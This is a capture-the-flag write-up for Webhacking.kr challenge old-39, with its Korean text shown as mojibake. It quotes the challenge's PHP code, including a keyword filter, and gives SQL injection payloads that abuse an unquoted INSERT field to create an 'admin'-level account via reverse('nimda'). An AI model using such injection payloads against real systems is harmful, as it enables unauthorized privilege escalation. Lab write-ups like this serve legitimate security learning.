Home [Wargame] Webhacking.kr old-39 (SQL Injection)
Post
Cancel

[Wargame] Webhacking.kr old-39 (SQL Injection)

๐Ÿšฉ ๋ฌธ์ œ ํŒŒ์•…


image

๋ฌธ์ œ ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด ํšŒ์›๊ฐ€์ž…๊ณผ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๋Š” ํผ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด JOIN ์‹œ ID๋Š” id, PHONE์€ phone์˜ name์„ ๊ฐ€์ง€๊ณ , LOGIN์‹œ ID๋Š” lid, PHONE์€ lphone์˜ name์„ ๊ฐ€์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. view-source๋ฅผ ํ†ตํ•ด ํ”„๋กœ๊ทธ๋žจ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด์ž.


  • JOIN ์ฒ˜๋ฆฌ ์ฝ”๋“œ
1
2
3
4
5
6
7
8
if($_POST['id'] && isset($_POST['phone'])){
    $_POST['id'] = addslashes($_POST['id']);
    $_POST['phone'] = addslashes($_POST['phone']);
    if(strlen($_POST['phone'])>=20) exit("Access Denied");
    if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
    if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
    mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
}
  1. addslashes ํ•จ์ˆ˜๋กœ ์ž…๋ ฅ ๊ฐ’์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ์— ์‹ฑ๊ธ€์ฟผํ„ฐ '๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋‹ค.
  2. phone ๊ฐ’์˜ ๊ธธ์ด๋Š” 20 ์ด์ƒ์ผ ์ˆ˜ ์—†๋‹ค.
  3. id ๊ฐ’์€ /admin/i ์ •๊ทœ์‹์„ ๋งŒ์กฑํ•  ์ˆ˜ ์—†๋‹ค.
  4. phone ๊ฐ’์€ /admin|0x|#|hex|char|ascii|ord|select/i ์ •๊ทœ์‹์„ ๋งŒ์กฑํ•  ์ˆ˜ ์—†๋‹ค.
  5. ๋ชจ๋“  ์กฐ๊ฑด์„ ๋งŒ์กฑํ–ˆ์„ ์‹œ์— insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest') ๊ตฌ๋ฌธ์„ ์‹คํ–‰ํ•œ๋‹ค.


  • LOGIN ์ฒ˜๋ฆฌ ์ฝ”๋“œ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if($_POST['lid'] && isset($_POST['lphone'])){
    $_POST['lid'] = addslashes($_POST['lid']);
    $_POST['lphone'] = addslashes($_POST['lphone']);
    $result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
    if($result['id']){
        echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
        if($result['lv'] == "admin"){
            mysqli_query($db,"delete from chall59");
            solve(59);
        }
        echo "<br><a href=./?view_source=1>view-source</a>";
        exit();
    }
}
  1. addslashes ํ•จ์ˆ˜๋กœ ์ž…๋ ฅ ๊ฐ’์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ์— ์‹ฑ๊ธ€์ฟผํ„ฐ '๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋‹ค.
  2. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ lid์™€ lphone์— ํ•ด๋‹นํ•˜๋Š” ๋ฐ์ดํ„ฐ์˜ lv์ด admin์ผ ๊ฒฝ์šฐ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค.


SQL Injection์„ ํ†ตํ•ด lv์ด admin์ธ ๊ณ„์ •์œผ๋กœ ํšŒ์›๊ฐ€์ž…ํ•˜๊ณ  ๋กœ๊ทธ์ธํ•˜๋ฉด ๋ฌธ์ œ๋ฅผ ํ’€ ์ˆ˜ ์žˆ๋‹ค.



๐Ÿšฉ ๋ฌธ์ œ ํ’€์ด


์šฐ์„  lv์ด admin ๊ฐ’์„ ๊ฐ€์ง€๋Š” ๊ณ„์ •์„ ์ƒ์„ฑํ•ด๋ณด์ž. join ์‹œ์™€ login ์‹œ์— ๋ชจ๋‘ ์‹ฑ๊ธ€์ฟผํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๊ธฐ์— ์ด๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ๊ณ„์ •์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผํ•œ๋‹ค.


์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์€ insert ๊ตฌ๋ฌธ์„ ๊ตฌ์„ฑํ•˜์—ฌ MySQL ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ๋•Œ๋ฌธ์— MySQL์—์„œ ์ง€์›ํ•˜๋Š” ๋ฌธ์ž์—ด ๊ด€๋ จ ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ admin ๊ณ„์ •์„ ์ƒ์„ฑํ•ด๋ณด์ž.


id=admi&phone=1,concat(id,chr(110))--+ (์ฃผ์„ ์ฒ˜๋ฆฌ ๋’ค์— ๊ณต๋ฐฑ ๋ฌธ์ž ํ•„์š”)

๋Œ€ํ‘œ์ ์ธ ๋ฌธ์ž์—ด ๊ด€๋ จ ํ•จ์ˆ˜๋Š” concat, substr, replace, reverse, upper, lower ๋“ฑ์ด ์žˆ๋Š”๋ฐ, ์ฒ˜์Œ์—๋Š” ์ด ์ค‘ concat ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ POST ์š”์ฒญ ์‹œ ์ „์†กํ•˜๋Š” ๋ฐ”๋”” ๊ฐ’์„ ๊ตฌ์„ฑํ•˜์˜€๋‹ค. ๊ทธ๋Ÿฌ๋‚˜, phone ๊ฐ’์˜ ๊ธธ์ด๊ฐ€ 20์ด์ƒ์ผ ์ˆ˜ ์—†๋‹ค๋Š” ์กฐ๊ฑด์— ์ถฉ์กฑํ•˜์ง€ ๋ชปํ•˜์˜€๋‹ค.


id=nimda&phone=1,reverse(id))--+

๊ทธ๋ž˜์„œ reverse ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ตฌ์„ฑํ•˜์˜€๊ณ , ์ด๋Š” ๋ชจ๋“  ์กฐ๊ฑด์„ ์ถฉ์กฑํ•˜์˜€๋‹ค.


image

ํŽ˜์ด์ง€์— ์ง์ ‘ ์ž…๋ ฅํ•˜์—ฌ joinํ•˜๋ฉด ์ด๋Ÿฐ ๋ชจ์Šต์ด ๋  ๊ฒƒ์ด๋‹ค.


lid=nimda&lphone=1

์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์œ„์˜ ๋ฐ”๋”” ๊ฐ’์œผ๋กœ LOGIN์„ ์‹œ๋„ํ•˜์˜€๋”๋‹ˆ ๋ฌธ์ œ๋ฅผ ํ’€ ์ˆ˜ ์žˆ์—ˆ๋‹ค.


image

ํŽ˜์ด์ง€์— ์ง์ ‘ ์ž…๋ ฅํ•˜์—ฌ loginํ•˜๋ฉด ์œ„์˜ ๊ทธ๋ฆผ๊ณผ ๊ฐ™๋‹ค.

[Wargame] Over The Wire - Bandit

[Wargame] Webhacking.kr old-42 (Base64)